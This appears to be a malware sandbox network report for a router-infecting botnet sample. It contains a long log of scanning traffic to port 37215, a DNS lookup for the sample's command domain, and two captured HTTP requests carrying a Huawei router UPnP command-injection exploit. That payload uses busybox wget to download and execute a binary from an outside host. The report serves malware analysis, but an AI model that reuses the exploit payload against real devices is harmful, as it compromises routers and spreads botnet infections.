Dec 30, 2023 07:14:13.458914995 CET	3641	37215	192.168.2.23	41.133.199.67
Dec 30, 2023 07:14:13.458916903 CET	3641	37215	192.168.2.23	41.200.220.104
Dec 30, 2023 07:14:13.458916903 CET	3641	37215	192.168.2.23	156.134.237.249
Dec 30, 2023 07:14:13.458916903 CET	3641	37215	192.168.2.23	121.136.58.230
Dec 30, 2023 07:14:13.458918095 CET	3641	37215	192.168.2.23	156.208.82.40
Dec 30, 2023 07:14:13.458916903 CET	3641	37215	192.168.2.23	197.7.151.211
Dec 30, 2023 07:14:13.458919048 CET	3641	37215	192.168.2.23	37.31.131.173
Dec 30, 2023 07:14:13.458919048 CET	3641	37215	192.168.2.23	160.130.196.3
Dec 30, 2023 07:14:13.458923101 CET	3641	37215	192.168.2.23	41.30.234.175
Dec 30, 2023 07:14:13.458941936 CET	3641	37215	192.168.2.23	156.46.8.83
Dec 30, 2023 07:14:13.458942890 CET	3641	37215	192.168.2.23	41.82.173.121
Dec 30, 2023 07:14:13.458945036 CET	3641	37215	192.168.2.23	197.181.167.33
Dec 30, 2023 07:14:13.458941936 CET	3641	37215	192.168.2.23	190.220.77.38
Dec 30, 2023 07:14:13.458945990 CET	3641	37215	192.168.2.23	41.229.239.3
Dec 30, 2023 07:14:13.458945036 CET	3641	37215	192.168.2.23	156.51.196.248
Dec 30, 2023 07:14:13.458945990 CET	3641	37215	192.168.2.23	197.154.234.90
Dec 30, 2023 07:14:13.458945036 CET	3641	37215	192.168.2.23	102.137.55.18
Dec 30, 2023 07:14:13.458945990 CET	3641	37215	192.168.2.23	197.72.42.243
Dec 30, 2023 07:14:13.458950043 CET	3641	37215	192.168.2.23	197.193.40.69
Dec 30, 2023 07:14:13.458950043 CET	3641	37215	192.168.2.23	121.226.144.27
Dec 30, 2023 07:14:13.458941936 CET	3641	37215	192.168.2.23	41.151.192.240
Dec 30, 2023 07:14:13.458950043 CET	3641	37215	192.168.2.23	197.184.42.207
Dec 30, 2023 07:14:13.458950043 CET	3641	37215	192.168.2.23	121.169.53.132
Dec 30, 2023 07:14:13.458945990 CET	3641	37215	192.168.2.23	197.135.26.140
Dec 30, 2023 07:14:13.458941936 CET	3641	37215	192.168.2.23	156.153.92.154
Dec 30, 2023 07:14:13.458950043 CET	3641	37215	192.168.2.23	102.160.160.91
Dec 30, 2023 07:14:13.458950043 CET	3641	37215	192.168.2.23	37.66.36.190
Dec 30, 2023 07:14:13.458950043 CET	3641	37215	192.168.2.23	156.138.137.243
Dec 30, 2023 07:14:13.458945990 CET	3641	37215	192.168.2.23	41.96.213.39
Dec 30, 2023 07:14:13.458941936 CET	3641	37215	192.168.2.23	197.44.112.74
Dec 30, 2023 07:14:13.458942890 CET	3641	37215	192.168.2.23	197.85.253.81
Dec 30, 2023 07:14:13.458961964 CET	3641	37215	192.168.2.23	41.227.45.11
Dec 30, 2023 07:14:13.458961964 CET	3641	37215	192.168.2.23	41.37.224.50
Dec 30, 2023 07:14:13.458964109 CET	3641	37215	192.168.2.23	41.31.184.78
Dec 30, 2023 07:14:13.458964109 CET	3641	37215	192.168.2.23	156.119.55.172
Dec 30, 2023 07:14:13.458970070 CET	3641	37215	192.168.2.23	120.66.54.15
Dec 30, 2023 07:14:13.458970070 CET	3641	37215	192.168.2.23	156.178.225.81
Dec 30, 2023 07:14:13.458970070 CET	3641	37215	192.168.2.23	41.209.192.101
Dec 30, 2023 07:14:13.458971977 CET	3641	37215	192.168.2.23	156.185.102.67
Dec 30, 2023 07:14:13.458971977 CET	3641	37215	192.168.2.23	41.211.26.22
Dec 30, 2023 07:14:13.458971977 CET	3641	37215	192.168.2.23	41.17.32.142
Dec 30, 2023 07:14:13.458972931 CET	3641	37215	192.168.2.23	41.66.169.208
Dec 30, 2023 07:14:13.458972931 CET	3641	37215	192.168.2.23	41.160.81.126
Dec 30, 2023 07:14:13.458981991 CET	3641	37215	192.168.2.23	197.120.188.11
Dec 30, 2023 07:14:13.458981991 CET	3641	37215	192.168.2.23	157.19.207.234
Dec 30, 2023 07:14:13.458982944 CET	3641	37215	192.168.2.23	222.74.194.207
Dec 30, 2023 07:14:13.458982944 CET	3641	37215	192.168.2.23	41.190.1.232
Dec 30, 2023 07:14:13.458982944 CET	3641	37215	192.168.2.23	41.4.203.61
Dec 30, 2023 07:14:13.458988905 CET	3641	37215	192.168.2.23	41.143.187.77
Dec 30, 2023 07:14:13.458988905 CET	3641	37215	192.168.2.23	197.17.89.30
Dec 30, 2023 07:14:13.458990097 CET	3641	37215	192.168.2.23	41.23.46.39
Dec 30, 2023 07:14:13.458990097 CET	3641	37215	192.168.2.23	41.100.29.198
Dec 30, 2023 07:14:13.458990097 CET	3641	37215	192.168.2.23	41.213.162.18
Dec 30, 2023 07:14:13.459006071 CET	3641	37215	192.168.2.23	37.173.161.161
Dec 30, 2023 07:14:13.459006071 CET	3641	37215	192.168.2.23	197.154.182.137
Dec 30, 2023 07:14:13.459006071 CET	3641	37215	192.168.2.23	41.142.154.246
Dec 30, 2023 07:14:13.459022999 CET	3641	37215	192.168.2.23	156.57.63.49
Dec 30, 2023 07:14:13.459022999 CET	3641	37215	192.168.2.23	181.30.140.21
Dec 30, 2023 07:14:13.459022999 CET	3641	37215	192.168.2.23	196.85.95.46
Dec 30, 2023 07:14:13.459022999 CET	3641	37215	192.168.2.23	41.70.230.157
Dec 30, 2023 07:14:13.459022999 CET	3641	37215	192.168.2.23	156.134.76.125
Dec 30, 2023 07:14:13.459022999 CET	3641	37215	192.168.2.23	156.201.22.16
Dec 30, 2023 07:14:13.459024906 CET	3641	37215	192.168.2.23	41.207.223.83
Dec 30, 2023 07:14:13.459028959 CET	3641	37215	192.168.2.23	197.238.189.108
Dec 30, 2023 07:14:13.459028959 CET	3641	37215	192.168.2.23	156.169.233.49
Dec 30, 2023 07:14:13.459028959 CET	3641	37215	192.168.2.23	197.69.127.164
Dec 30, 2023 07:14:13.459028006 CET	3641	37215	192.168.2.23	197.17.15.236
Dec 30, 2023 07:14:13.459028959 CET	3641	37215	192.168.2.23	160.234.34.8
Dec 30, 2023 07:14:13.459028006 CET	3641	37215	192.168.2.23	156.208.98.193
Dec 30, 2023 07:14:13.459028959 CET	3641	37215	192.168.2.23	41.133.232.101
Dec 30, 2023 07:14:13.459028959 CET	3641	37215	192.168.2.23	41.187.188.237
Dec 30, 2023 07:14:13.459033012 CET	3641	37215	192.168.2.23	156.33.118.11
Dec 30, 2023 07:14:13.459036112 CET	3641	37215	192.168.2.23	156.221.151.254
Dec 30, 2023 07:14:13.459038973 CET	3641	37215	192.168.2.23	156.4.249.64
Dec 30, 2023 07:14:13.459038973 CET	3641	37215	192.168.2.23	41.137.63.42
Dec 30, 2023 07:14:13.459038973 CET	3641	37215	192.168.2.23	122.84.202.46
Dec 30, 2023 07:14:13.459038973 CET	3641	37215	192.168.2.23	94.172.214.243
Dec 30, 2023 07:14:13.459038973 CET	3641	37215	192.168.2.23	197.52.110.216
Dec 30, 2023 07:14:13.459038973 CET	3641	37215	192.168.2.23	41.79.229.154
Dec 30, 2023 07:14:13.459050894 CET	3641	37215	192.168.2.23	197.170.6.161
Dec 30, 2023 07:14:13.459050894 CET	3641	37215	192.168.2.23	156.82.185.115
Dec 30, 2023 07:14:13.459055901 CET	3641	37215	192.168.2.23	156.192.158.215
Dec 30, 2023 07:14:13.459055901 CET	3641	37215	192.168.2.23	190.18.166.31
Dec 30, 2023 07:14:13.459069967 CET	3641	37215	192.168.2.23	120.254.250.149
Dec 30, 2023 07:14:13.459069967 CET	3641	37215	192.168.2.23	222.1.238.194
Dec 30, 2023 07:14:13.459086895 CET	3641	37215	192.168.2.23	41.14.156.9
Dec 30, 2023 07:14:13.459089994 CET	3641	37215	192.168.2.23	197.84.142.84
Dec 30, 2023 07:14:13.459089994 CET	3641	37215	192.168.2.23	156.125.201.220
Dec 30, 2023 07:14:13.459090948 CET	3641	37215	192.168.2.23	41.213.32.107
Dec 30, 2023 07:14:13.459090948 CET	3641	37215	192.168.2.23	41.197.34.253
Dec 30, 2023 07:14:13.459090948 CET	3641	37215	192.168.2.23	222.164.53.45
Dec 30, 2023 07:14:13.459090948 CET	3641	37215	192.168.2.23	156.53.130.30
Dec 30, 2023 07:14:13.459090948 CET	3641	37215	192.168.2.23	197.138.141.217
Dec 30, 2023 07:14:13.459090948 CET	3641	37215	192.168.2.23	156.137.185.18
Dec 30, 2023 07:14:13.459090948 CET	3641	37215	192.168.2.23	197.170.170.213
Dec 30, 2023 07:14:13.459095001 CET	3641	37215	192.168.2.23	156.198.191.19
Dec 30, 2023 07:14:13.459100962 CET	3641	37215	192.168.2.23	197.101.250.185
Dec 30, 2023 07:14:13.459100962 CET	3641	37215	192.168.2.23	156.206.195.203
Dec 30, 2023 07:14:13.459100962 CET	3641	37215	192.168.2.23	92.228.146.65
Dec 30, 2023 07:14:13.459100962 CET	3641	37215	192.168.2.23	107.131.218.99
Dec 30, 2023 07:14:13.459105015 CET	3641	37215	192.168.2.23	102.226.92.202
Dec 30, 2023 07:14:13.459114075 CET	3641	37215	192.168.2.23	45.208.84.47
Dec 30, 2023 07:14:13.459114075 CET	3641	37215	192.168.2.23	197.71.207.163
Dec 30, 2023 07:14:13.459120989 CET	3641	37215	192.168.2.23	190.253.165.96
Dec 30, 2023 07:14:13.459121943 CET	3641	37215	192.168.2.23	160.249.7.100
Dec 30, 2023 07:14:13.459121943 CET	3641	37215	192.168.2.23	41.246.16.43
Dec 30, 2023 07:14:13.459124088 CET	3641	37215	192.168.2.23	186.181.249.104
Dec 30, 2023 07:14:13.459131002 CET	3641	37215	192.168.2.23	41.93.195.35
Dec 30, 2023 07:14:13.459129095 CET	3641	37215	192.168.2.23	156.128.188.51
Dec 30, 2023 07:14:13.459136963 CET	3641	37215	192.168.2.23	156.164.103.241
Dec 30, 2023 07:14:13.459139109 CET	3641	37215	192.168.2.23	197.181.133.10
Dec 30, 2023 07:14:13.459141016 CET	3641	37215	192.168.2.23	190.130.192.251
Dec 30, 2023 07:14:13.459142923 CET	3641	37215	192.168.2.23	122.98.229.243
Dec 30, 2023 07:14:13.459142923 CET	3641	37215	192.168.2.23	197.147.144.231
Dec 30, 2023 07:14:13.459150076 CET	3641	37215	192.168.2.23	157.35.254.223
Dec 30, 2023 07:14:13.459151030 CET	3641	37215	192.168.2.23	197.226.83.121
Dec 30, 2023 07:14:13.459151030 CET	3641	37215	192.168.2.23	41.111.215.188
Dec 30, 2023 07:14:13.459161997 CET	3641	37215	192.168.2.23	121.55.109.207
Dec 30, 2023 07:14:13.459172010 CET	3641	37215	192.168.2.23	197.91.185.193
Dec 30, 2023 07:14:13.459172964 CET	3641	37215	192.168.2.23	156.225.248.60
Dec 30, 2023 07:14:13.459172964 CET	3641	37215	192.168.2.23	156.220.20.254
Dec 30, 2023 07:14:13.459172964 CET	3641	37215	192.168.2.23	154.64.183.4
Dec 30, 2023 07:14:13.459177017 CET	3641	37215	192.168.2.23	181.194.21.189
Dec 30, 2023 07:14:13.459182978 CET	3641	37215	192.168.2.23	157.37.177.207
Dec 30, 2023 07:14:13.459182978 CET	3641	37215	192.168.2.23	156.22.6.140
Dec 30, 2023 07:14:13.459182978 CET	3641	37215	192.168.2.23	197.153.39.2
Dec 30, 2023 07:14:13.459182978 CET	3641	37215	192.168.2.23	41.186.52.63
Dec 30, 2023 07:14:13.459201097 CET	3641	37215	192.168.2.23	41.236.244.222
Dec 30, 2023 07:14:13.459211111 CET	3641	37215	192.168.2.23	156.235.45.253
Dec 30, 2023 07:14:13.459217072 CET	3641	37215	192.168.2.23	156.208.14.158
Dec 30, 2023 07:14:13.459217072 CET	3641	37215	192.168.2.23	197.115.83.156
Dec 30, 2023 07:14:13.459217072 CET	3641	37215	192.168.2.23	156.45.107.132
Dec 30, 2023 07:14:13.459223986 CET	3641	37215	192.168.2.23	197.75.24.30
Dec 30, 2023 07:14:13.459227085 CET	3641	37215	192.168.2.23	156.237.77.12
Dec 30, 2023 07:14:13.459237099 CET	3641	37215	192.168.2.23	160.60.122.249
Dec 30, 2023 07:14:13.459239006 CET	3641	37215	192.168.2.23	197.52.178.5
Dec 30, 2023 07:14:13.459239006 CET	3641	37215	192.168.2.23	156.149.196.101
Dec 30, 2023 07:14:13.459239960 CET	3641	37215	192.168.2.23	92.65.170.69
Dec 30, 2023 07:14:13.459240913 CET	3641	37215	192.168.2.23	197.152.12.29
Dec 30, 2023 07:14:13.459249973 CET	3641	37215	192.168.2.23	156.216.117.38
Dec 30, 2023 07:14:13.459249973 CET	3641	37215	192.168.2.23	197.86.52.46
Dec 30, 2023 07:14:13.459253073 CET	3641	37215	192.168.2.23	41.16.226.153
Dec 30, 2023 07:14:13.459253073 CET	3641	37215	192.168.2.23	197.140.177.179
Dec 30, 2023 07:14:13.459253073 CET	3641	37215	192.168.2.23	222.8.71.237
Dec 30, 2023 07:14:13.459259033 CET	3641	37215	192.168.2.23	156.17.169.141
Dec 30, 2023 07:14:13.459259033 CET	3641	37215	192.168.2.23	45.97.197.71
Dec 30, 2023 07:14:13.459259033 CET	3641	37215	192.168.2.23	197.221.0.76
Dec 30, 2023 07:14:13.459259033 CET	3641	37215	192.168.2.23	41.246.65.133
Dec 30, 2023 07:14:13.459261894 CET	3641	37215	192.168.2.23	156.243.45.10
Dec 30, 2023 07:14:13.459261894 CET	3641	37215	192.168.2.23	156.219.97.225
Dec 30, 2023 07:14:13.459264040 CET	3641	37215	192.168.2.23	41.65.15.52
Dec 30, 2023 07:14:13.459266901 CET	3641	37215	192.168.2.23	138.4.149.167
Dec 30, 2023 07:14:13.459268093 CET	3641	37215	192.168.2.23	154.225.162.107
Dec 30, 2023 07:14:13.459270954 CET	3641	37215	192.168.2.23	156.4.32.54
Dec 30, 2023 07:14:13.459275961 CET	3641	37215	192.168.2.23	197.165.138.131
Dec 30, 2023 07:14:13.459292889 CET	3641	37215	192.168.2.23	156.168.75.202
Dec 30, 2023 07:14:13.459291935 CET	3641	37215	192.168.2.23	156.193.221.145
Dec 30, 2023 07:14:13.459291935 CET	3641	37215	192.168.2.23	121.219.36.35
Dec 30, 2023 07:14:13.459300041 CET	3641	37215	192.168.2.23	45.199.106.225
Dec 30, 2023 07:14:13.459300995 CET	3641	37215	192.168.2.23	197.121.240.178
Dec 30, 2023 07:14:13.459300995 CET	3641	37215	192.168.2.23	120.216.145.107
Dec 30, 2023 07:14:13.459301949 CET	3641	37215	192.168.2.23	41.235.3.212
Dec 30, 2023 07:14:13.459301949 CET	3641	37215	192.168.2.23	41.67.223.253
Dec 30, 2023 07:14:13.459301949 CET	3641	37215	192.168.2.23	41.138.29.133
Dec 30, 2023 07:14:13.459301949 CET	3641	37215	192.168.2.23	197.191.88.184
Dec 30, 2023 07:14:13.459305048 CET	3641	37215	192.168.2.23	156.61.105.155
Dec 30, 2023 07:14:13.459306955 CET	3641	37215	192.168.2.23	190.17.32.221
Dec 30, 2023 07:14:13.459314108 CET	3641	37215	192.168.2.23	41.173.179.11
Dec 30, 2023 07:14:13.459326982 CET	3641	37215	192.168.2.23	156.185.9.26
Dec 30, 2023 07:14:13.459327936 CET	3641	37215	192.168.2.23	156.69.244.63
Dec 30, 2023 07:14:13.459327936 CET	3641	37215	192.168.2.23	41.209.87.172
Dec 30, 2023 07:14:13.459337950 CET	3641	37215	192.168.2.23	94.71.56.248
Dec 30, 2023 07:14:13.459337950 CET	3641	37215	192.168.2.23	156.221.185.158
Dec 30, 2023 07:14:13.459341049 CET	3641	37215	192.168.2.23	154.194.7.24
Dec 30, 2023 07:14:13.459341049 CET	3641	37215	192.168.2.23	154.91.144.7
Dec 30, 2023 07:14:13.459352970 CET	3641	37215	192.168.2.23	107.184.56.254
Dec 30, 2023 07:14:13.459352970 CET	3641	37215	192.168.2.23	197.150.148.75
Dec 30, 2023 07:14:13.459353924 CET	3641	37215	192.168.2.23	41.123.28.120
Dec 30, 2023 07:14:13.459352970 CET	3641	37215	192.168.2.23	160.138.116.219
Dec 30, 2023 07:14:13.459353924 CET	3641	37215	192.168.2.23	41.133.49.167
Dec 30, 2023 07:14:13.459352970 CET	3641	37215	192.168.2.23	197.92.212.109
Dec 30, 2023 07:14:13.459357977 CET	3641	37215	192.168.2.23	107.236.195.86
Dec 30, 2023 07:14:13.459352970 CET	3641	37215	192.168.2.23	41.12.227.32
Dec 30, 2023 07:14:13.459357977 CET	3641	37215	192.168.2.23	197.59.36.95
Dec 30, 2023 07:14:13.459357977 CET	3641	37215	192.168.2.23	190.98.175.41
Dec 30, 2023 07:14:13.459353924 CET	3641	37215	192.168.2.23	41.20.68.138
Dec 30, 2023 07:14:13.459357977 CET	3641	37215	192.168.2.23	37.110.155.131
Dec 30, 2023 07:14:13.459353924 CET	3641	37215	192.168.2.23	154.2.62.220
Dec 30, 2023 07:14:13.459376097 CET	3641	37215	192.168.2.23	197.254.148.95
Dec 30, 2023 07:14:13.459376097 CET	3641	37215	192.168.2.23	120.231.159.15
Dec 30, 2023 07:14:13.459388018 CET	3641	37215	192.168.2.23	197.218.165.69
Dec 30, 2023 07:14:13.459392071 CET	3641	37215	192.168.2.23	41.16.118.70
Dec 30, 2023 07:14:13.459392071 CET	3641	37215	192.168.2.23	197.55.14.109
Dec 30, 2023 07:14:13.459394932 CET	3641	37215	192.168.2.23	102.246.201.87
Dec 30, 2023 07:14:13.459394932 CET	3641	37215	192.168.2.23	138.246.32.92
Dec 30, 2023 07:14:13.459399939 CET	3641	37215	192.168.2.23	197.3.158.213
Dec 30, 2023 07:14:13.459400892 CET	3641	37215	192.168.2.23	197.7.58.45
Dec 30, 2023 07:14:13.459412098 CET	3641	37215	192.168.2.23	41.108.151.170
Dec 30, 2023 07:14:13.459413052 CET	3641	37215	192.168.2.23	41.45.102.19
Dec 30, 2023 07:14:13.459414005 CET	3641	37215	192.168.2.23	160.203.221.176
Dec 30, 2023 07:14:13.459418058 CET	3641	37215	192.168.2.23	156.108.252.140
Dec 30, 2023 07:14:13.459419966 CET	3641	37215	192.168.2.23	37.188.11.163
Dec 30, 2023 07:14:13.459431887 CET	3641	37215	192.168.2.23	156.246.143.232
Dec 30, 2023 07:14:13.459431887 CET	3641	37215	192.168.2.23	107.10.135.188
Dec 30, 2023 07:14:13.459434032 CET	3641	37215	192.168.2.23	94.135.142.147
Dec 30, 2023 07:14:13.459434032 CET	3641	37215	192.168.2.23	120.81.138.153
Dec 30, 2023 07:14:13.459434986 CET	3641	37215	192.168.2.23	102.142.90.157
Dec 30, 2023 07:14:13.459449053 CET	3641	37215	192.168.2.23	107.168.211.78
Dec 30, 2023 07:14:13.459449053 CET	3641	37215	192.168.2.23	41.66.11.152
Dec 30, 2023 07:14:13.459455967 CET	3641	37215	192.168.2.23	197.28.24.147
Dec 30, 2023 07:14:13.459459066 CET	3641	37215	192.168.2.23	197.207.47.254
Dec 30, 2023 07:14:13.459464073 CET	3641	37215	192.168.2.23	41.64.164.226
Dec 30, 2023 07:14:13.459471941 CET	3641	37215	192.168.2.23	197.178.114.236
Dec 30, 2023 07:14:13.459475994 CET	3641	37215	192.168.2.23	156.170.122.255
Dec 30, 2023 07:14:13.459475994 CET	3641	37215	192.168.2.23	197.17.85.11
Dec 30, 2023 07:14:13.459475994 CET	3641	37215	192.168.2.23	102.13.66.136
Dec 30, 2023 07:14:13.459475994 CET	3641	37215	192.168.2.23	197.166.56.61
Dec 30, 2023 07:14:13.459477901 CET	3641	37215	192.168.2.23	41.16.38.76
Dec 30, 2023 07:14:13.459480047 CET	3641	37215	192.168.2.23	41.204.17.110
Dec 30, 2023 07:14:13.459477901 CET	3641	37215	192.168.2.23	154.71.160.175
Dec 30, 2023 07:14:13.459480047 CET	3641	37215	192.168.2.23	92.20.45.232
Dec 30, 2023 07:14:13.459481001 CET	3641	37215	192.168.2.23	41.143.223.150
Dec 30, 2023 07:14:13.459480047 CET	3641	37215	192.168.2.23	197.164.4.108
Dec 30, 2023 07:14:13.459481001 CET	3641	37215	192.168.2.23	156.124.198.119
Dec 30, 2023 07:14:13.459489107 CET	3641	37215	192.168.2.23	186.248.25.189
Dec 30, 2023 07:14:13.459496021 CET	3641	37215	192.168.2.23	197.230.191.81
Dec 30, 2023 07:14:13.459498882 CET	3641	37215	192.168.2.23	186.120.43.201
Dec 30, 2023 07:14:13.459502935 CET	3641	37215	192.168.2.23	156.253.27.175
Dec 30, 2023 07:14:13.459508896 CET	3641	37215	192.168.2.23	94.11.47.191
Dec 30, 2023 07:14:13.459511042 CET	3641	37215	192.168.2.23	121.149.154.5
Dec 30, 2023 07:14:13.459511042 CET	3641	37215	192.168.2.23	181.218.130.137

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2023 07:13:41.336188078 CET	192.168.2.23	81.169.136.222	0xec55	Standard query (0)	asdsdfjsdfsd.indy	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	5.181.80.111	A (IP address)	IN (0x0001)	false
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	89.190.156.140	A (IP address)	IN (0x0001)	false
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	89.190.156.149	A (IP address)	IN (0x0001)	false
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	5.181.80.100	A (IP address)	IN (0x0001)	false
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	5.181.80.103	A (IP address)	IN (0x0001)	false
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	5.181.80.102	A (IP address)	IN (0x0001)	false
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	89.190.156.144	A (IP address)	IN (0x0001)	false
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	5.181.80.138	A (IP address)	IN (0x0001)	false
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	37.221.67.135	A (IP address)	IN (0x0001)	false
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	89.190.156.5	A (IP address)	IN (0x0001)	false
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	89.190.156.141	A (IP address)	IN (0x0001)	false
Dec 30, 2023 07:13:41.598344088 CET	81.169.136.222	192.168.2.23	0xec55	No error (0)	asdsdfjsdfsd.indy	89.190.156.145	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	57834	45.138.70.146	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:13:56.532860041 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:13:57.352977991 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
